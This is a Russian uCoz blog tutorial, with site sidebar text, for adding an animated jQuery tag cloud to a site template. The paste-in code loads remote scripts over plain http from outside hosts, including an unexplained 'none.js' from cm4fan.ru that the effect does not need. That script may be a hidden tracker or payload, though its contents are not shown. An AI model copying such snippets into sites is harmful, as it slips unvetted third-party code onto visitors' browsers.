Четверг, 24.08.2017, 02:28

Заработать в сети это реально !?

Новости
Новости Ucoz [8]
Новости сайта [16]
Полезное бесплатно [21]
Партнерки для сайтов [12]

Загрузка...
Обрати внимание...
Электронные обменники валют




Друзья сайта
  • Мой форекс мир!
  • Торговые стратегии Форекс
  • Freesap - автосерфинг
  • Советы и советики
  • Leprecon Trading

  • Меню


    Если тебе интересна наиболее важная инфа добавляемая на этот сайт подпишись на рассылку.И ТЫ первым об этом узнаешь.
    Ваш e-mail: *
    Ваше имя: *


    Регистрация доменов в зоне RU или РФ всего за 99 рублей.

    Регистрация доменов в зоне РФ всего за 500 рублей.

      

    Установи на свой сайт и получай $$$, каждый день!!!



    Статистика



    Онлайн всего: 2
    Гостей: 1
    Пользователей: 1
    scribbler


    Главная » 2012 » Октябрь » 16 » Информер тегов с дизайном как на Dle
    23:02
    Информер тегов с дизайном как на Dle

     

    Теперь на вашем сайте облако тегов станет выглядеть более красиво и необычно в тоже время оно сможет удивить посетителей своим дизайном

    Как установить облако тегов на укозе:

    Добавляем в Ваш шаблон куда-нибуть наверх этот код:

     

    Code
    <script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script>
    <script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
    <script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
    var f_color = '';
    $("a.structure").hover(function() {
    f_color = this.style.color;
    $(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700);
    },function()
    {
    $(this).animate({ backgroundColor: "white", color: f_color }, 200);
    });
    });
    </script>

     


    Теперь в любой новый чистый блок или же в нижнюю часть сайта вставляете облако тегов!

     

    Code
      
      <div id="content">  
      <div id="right">  
      <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>  
      <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>  
      <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>  
      <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>  
      <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
    Категория: Полезное бесплатно | Просмотров: 1231 | Добавил: Aninew | Рейтинг: 0.0/0

    Понравилось? -->>>

    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]